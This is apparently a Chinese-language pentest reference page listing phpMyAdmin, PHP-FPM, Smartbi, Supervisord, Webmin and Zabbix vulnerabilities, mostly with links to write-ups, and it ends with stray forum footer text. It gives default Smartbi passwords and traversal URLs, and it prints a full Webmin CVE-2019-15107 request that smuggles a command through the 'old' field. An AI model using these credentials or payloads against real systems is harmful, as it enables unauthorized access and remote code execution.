回到 db 的终端,如果文件读取成功会将文件内容记录到 mysql.log 文件中
phpMyAdmin 4.7.x CSRF
文章
phpMyAdmin 4.7.x CSRF 漏洞利用
4.8.x 本地文件包含漏洞利用
文章
phpMyAdmin 4.8.x 本地文件包含漏洞利用
Vulnspy Blog
可以通过这个线上靶场实验,不过 docker 镜像可能有点问题,mysql 进程起不起来,我的解决方式是直接卸了重装 mysql-server,而且他默认的 apt 源无法访问,还要换一下 apt 源
phpmyadmin4.8.1 后台 getshell
文章
phpmyadmin4.8.1后台getshell
CVE-2019-12922 4.9.0.1 CSRF
PHP-FPM
PHP-FPM 是一个 PHPFastCGI 管理器，对于 PHP 5.3.3 之前的 php 来说，是一个补丁包 ，旨在将 FastCGI 进程管理整合进 PHP 包中。
PHP-FPM Fastcgi 未授权访问漏洞
文章
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
POC
Payload
exp
https://vulhub.org/#/environments/fpm/
phith0n/fpm.py
Smartbi
常见口令
demo/demo
manager/demo
admin/admin
admin/manager
admin/2manager
Tips
http://127.0.0.1:18080/smartbi/vision/config.jsp 可能未修改密码或者密码为 manager
http://127.0.0.1:18080/smartbi/vision/chooser.jsp?key=CONFIG_FILE_DIR&root=C%3A%2F
进入后台目录遍历
Supervisord
项目地址 : https://github.com/Supervisor/supervisor
搭建教程
Supervisord 搭建
测试链接
http://<ip>:9001
CVE-2017-11610 Supervisord 远程命令执行漏洞
Webmin
官网 : http://www.webmin.com/
搭建教程
Webmin 搭建
CVE-2019-15107 Webmin Remote Code Execution
简介
在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令.
影响版本
Webmin < 1.920
文章
Webmin(CVE-2019-15107) 远程代码执行漏洞之 backdoor 探究
POC
Payload
exp
vulhub/webmin/CVE-2019-15107/README.zh-cn.md
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
CVE-2019-15642 Webmin Remote Code Execution
zabbix
官网 : https://www.zabbix.com
zabbix 是一款服务器监控软件,其由 server、agent、web 等模块组成,其中 web 模块由 PHP 编写,用来显示数据库中的结果.
搭建教程
zabbix 搭建
CVE-2016-10134 zabbix latest.php SQL 注入漏洞

我要回帖

更多关于 设函数fz在z平面解析 的文章

 

随机推荐